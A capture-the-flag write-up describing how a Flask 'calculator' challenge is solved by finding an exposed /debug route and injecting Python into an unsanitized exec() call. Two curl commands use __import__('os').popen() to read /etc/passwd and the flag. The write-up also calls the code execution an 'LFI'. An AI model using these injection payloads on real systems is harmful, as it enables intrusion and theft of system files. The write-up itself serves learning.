HackConRD CTF 2024: Interdimensional Calculator

We started by viewing the website, and didn’t find anything special. The website only shows a random number when it is refreshed.

Challenge website showing a random number over a Rick and Morty background

After that, we went to look at the source code, looking for something interesting before scanning any open ports or enumerating directories. Here we found an interesting comment  guiding us to try the directory /debug.

Page source revealing the HTML comment that points to the /debug route

Going to this directory we were able to find some Python code. Reviewing it, we knew it was a backend using the Flask framework.

First, we found that the main route / allows GET and POST methods, and the function GCR has an if conditional that runs when we send a POST request. Looking further, we can also see the data it accepts: ingredient and measurements. Both variables are being executed by the calc function. Since the application is not sanitizing the data it receives, we can take advantage of this vulnerability by injecting malicious code.

Flask backend code exposed at /debug, highlighting the vulnerable exec() call and the POST handler

We used curl to send a POST request as follows:

bash

curl -X POST http://83.136.252.214:36662/ -H "Content-Type: application/x-www-form-urlencoded" -d "ingredient=z&measurements=__import__('os').popen('cat+/etc/passwd').read()"

And we were able to get an LFI.

Response leaking /etc/passwd through the code injection

Finally, the flag was found in the same directory we landed on in the server.

bash

curl -X POST http://83.136.252.214:36662/ -H "Content-Type: application/x-www-form-urlencoded" -d "ingredient=z&measurements=__import__('os').popen('cat+flag').read()"

The flag retrieved by reading the flag file with the same injection

Thanks for reading.